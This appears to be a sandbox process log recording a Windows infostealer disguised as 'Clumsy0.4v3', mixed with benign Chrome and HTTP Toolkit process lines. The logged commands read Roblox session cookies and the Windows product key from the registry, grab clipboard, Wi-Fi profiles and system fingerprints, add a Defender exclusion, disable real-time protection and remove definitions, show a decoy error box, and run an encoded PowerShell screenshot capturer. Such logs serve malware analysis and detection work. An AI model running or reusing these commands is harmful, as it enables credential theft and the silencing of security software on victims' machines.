C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8F8E.tmp" "c:\Users\Admin\AppData\Local\Temp\tnat4oei\CSCE3C54D021D940658515A7B4439FC3E1.TMP"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI44322\rar.exe a -r -hp"skoch" "C:\Users\Admin\AppData\Local\Temp\t0kho.zip" *"

C:\Users\Admin\AppData\Local\Temp\_MEI44322\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI44322\rar.exe a -r -hp"skoch" "C:\Users\Admin\AppData\Local\Temp\t0kho.zip" *

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff82ac0cc40,0x7ff82ac0cc4c,0x7ff82ac0cc58

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2012,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2008 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1824,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2112 /prefetch:3

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2244,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2424 /prefetch:8

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3136,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3156 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3164,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3196 /prefetch:1

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3684,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3656 /prefetch:1

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4736,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4744 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4716,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4888 /prefetch:8

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4984,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4828 /prefetch:8

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4948,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4868 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=5132,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5092 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=4696,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5224 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=3284,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4568 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5324,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4648 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=3172,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5328 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=5648,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5468 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=5548,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5536 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4804,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2732 /prefetch:8

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe

"C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe"

C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe

"C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\httptoolkit /prefetch:4 --no-rate-limit --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\httptoolkit\Crashpad --url=https://f.a.k/e --annotation=_productName=httptoolkit --annotation=_version=1.19.0 --annotation=plat=Win64 --annotation=prod=Electron --annotation=ver=29.1.5 --initial-client-data=0x47c,0x484,0x488,0x458,0x48c,0x7ff63b49a8c0,0x7ff63b49a8cc,0x7ff63b49a8d8

C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe

"C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\httptoolkit" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1776 --field-trial-handle=1784,i,1757674099044512439,15915100723782539794,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\bin\httptoolkit-server.cmd" start"

C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe

"C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\httptoolkit" --bypasscsp-schemes=sentry-ipc --cors-schemes=sentry-ipc --fetch-schemes=sentry-ipc --mojo-platform-channel-handle=1964 --field-trial-handle=1784,i,1757674099044512439,15915100723782539794,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3

C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe

"C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\httptoolkit" --bypasscsp-schemes=sentry-ipc --cors-schemes=sentry-ipc --fetch-schemes=sentry-ipc --app-path="C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\app.asar" --enable-sandbox --js-flags=--expose-gc --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2384 --field-trial-handle=1784,i,1757674099044512439,15915100723782539794,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1

C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\bin\node.exe

"C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\bin\..\bin\node.exe" "C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\bin\..\bin\run" start

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /d /s /c "^"C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\bin\httptoolkit-server.cmd^" ^"update^" ^"--autoupdate^""

C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\bin\node.exe

"C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\bin\..\bin\node.exe" "C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\bin\..\bin\run" "update" "--autoupdate"

C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe

java -Djdk.attach.allowAttachSelf=true -jar C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\overrides\java-agent.jar self-test

C:\Windows\system32\certutil.exe

certutil -h

C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\nss\win32\certutil.exe

C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\nss\win32\certutil -h

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" cryptext.dll,CryptExtOpenCER C:\Users\Admin\Downloads\http-toolkit-ca-certificate.crt

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\cryptext.dll,CryptExtAddCERMachineOnlyAndHwnd MIIDTzCCAjegAwIBAgIRCkHIS57iN0WniNqpURTwYkUwDQYJKoZIhvcNAQELBQAwQTEYMBYGA1UEAxMPSFRUUCBUb29sa2l0IENBMQswCQYDVQQGEwJYWDEYMBYGA1UEChMPSFRUUCBUb29sa2l0IENBMB4XDTI0MTAxNDIyMzIzN1oXDTI1MTAxNTIyMzIzN1owQTEYMBYGA1UEAxMPSFRUUCBUb29sa2l0IENBMQswCQYDVQQGEwJYWDEYMBYGA1UEChMPSFRUUCBUb29sa2l0IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1lF4SVzx1m3FoRIIB1/H+flv7ueq1eUsMfyu97SvCeeg6IUpnoRF3rmsqsh4pNAJhzmlPYBA824b0zxYLIIM/KcdIYkKvsxVj+zilqm0Md+9sezJRFxK9jykeAFY90/WU5y1H2vfQz/QhhX9mJPD61uhVbSxfslgsaUV+uu9XgqmVEUuJsyK1kjj0AGQMLsOQrz8eaeaKzz3EvQruWI5ZQjULExnd3pdwn/prZGEcx555Jlzrm4ytC/t0ESIS7j93od2DYDhEiG2WRGecG1S+UAGWyY/4QyzqULEYMGP+9HlpGCdidaTB44s7M+wbpuk77F4bYb72Mml8Rpx0YieWQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBxjAdBgNVHQ4EFgQUrTcQn6QJOEOJSo7B7X0iRVmRbU4wDQYJKoZIhvcNAQELBQADggEBAMlEssMgP2TBgCdQ5rBfF5b7QtZTeDTvjtjtP8g6DjQZLHJmXj2W/vziSZF01TpqsrQTPMtGj007glUdbcFWrjktW9B2Hxqe3qrMHnrwUZM9gP7cTKdh9J7muvUC3QRYA/Luy29d0b4+Nd2PXUHIV2w79hy6VI7owuqOc44++WpFLyeDN6rpVymKQ+GAtqEx99hq8gJqexXiDGGzBM2TneIlQGJcNIrOTWfbuB6JC0gZns+0hsqxn5sGnEUA5+UOWaDaprXgfzhr/cxlK0ernE9yVrtnIPs2ZOEtCh0Ln1UJlcrpp6wZvNphcUnPYTUQaBhIfVhvX6UVct16Dv9xuYg= 131968

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\cryptext.dll,CryptExtAddCERMachineOnlyAndHwnd MIIDTzCCAjegAwIBAgIRCkHIS57iN0WniNqpURTwYkUwDQYJKoZIhvcNAQELBQAwQTEYMBYGA1UEAxMPSFRUUCBUb29sa2l0IENBMQswCQYDVQQGEwJYWDEYMBYGA1UEChMPSFRUUCBUb29sa2l0IENBMB4XDTI0MTAxNDIyMzIzN1oXDTI1MTAxNTIyMzIzN1owQTEYMBYGA1UEAxMPSFRUUCBUb29sa2l0IENBMQswCQYDVQQGEwJYWDEYMBYGA1UEChMPSFRUUCBUb29sa2l0IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1lF4SVzx1m3FoRIIB1/H+flv7ueq1eUsMfyu97SvCeeg6IUpnoRF3rmsqsh4pNAJhzmlPYBA824b0zxYLIIM/KcdIYkKvsxVj+zilqm0Md+9sezJRFxK9jykeAFY90/WU5y1H2vfQz/QhhX9mJPD61uhVbSxfslgsaUV+uu9XgqmVEUuJsyK1kjj0AGQMLsOQrz8eaeaKzz3EvQruWI5ZQjULExnd3pdwn/prZGEcx555Jlzrm4ytC/t0ESIS7j93od2DYDhEiG2WRGecG1S+UAGWyY/4QyzqULEYMGP+9HlpGCdidaTB44s7M+wbpuk77F4bYb72Mml8Rpx0YieWQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBxjAdBgNVHQ4EFgQUrTcQn6QJOEOJSo7B7X0iRVmRbU4wDQYJKoZIhvcNAQELBQADggEBAMlEssMgP2TBgCdQ5rBfF5b7QtZTeDTvjtjtP8g6DjQZLHJmXj2W/vziSZF01TpqsrQTPMtGj007glUdbcFWrjktW9B2Hxqe3qrMHnrwUZM9gP7cTKdh9J7muvUC3QRYA/Luy29d0b4+Nd2PXUHIV2w79hy6VI7owuqOc44++WpFLyeDN6rpVymKQ+GAtqEx99hq8gJqexXiDGGzBM2TneIlQGJcNIrOTWfbuB6JC0gZns+0hsqxn5sGnEUA5+UOWaDaprXgfzhr/cxlK0ernE9yVrtnIPs2ZOEtCh0Ln1UJlcrpp6wZvNphcUnPYTUQaBhIfVhvX6UVct16Dv9xuYg= 131968

C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe

"C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"

C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe

"C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('You do not own this file please try again', 0, 'ERROR', 0+16);close()""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe'

C:\Windows\system32\mshta.exe

mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('You do not own this file please try again', 0, 'ERROR', 0+16);close()"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAA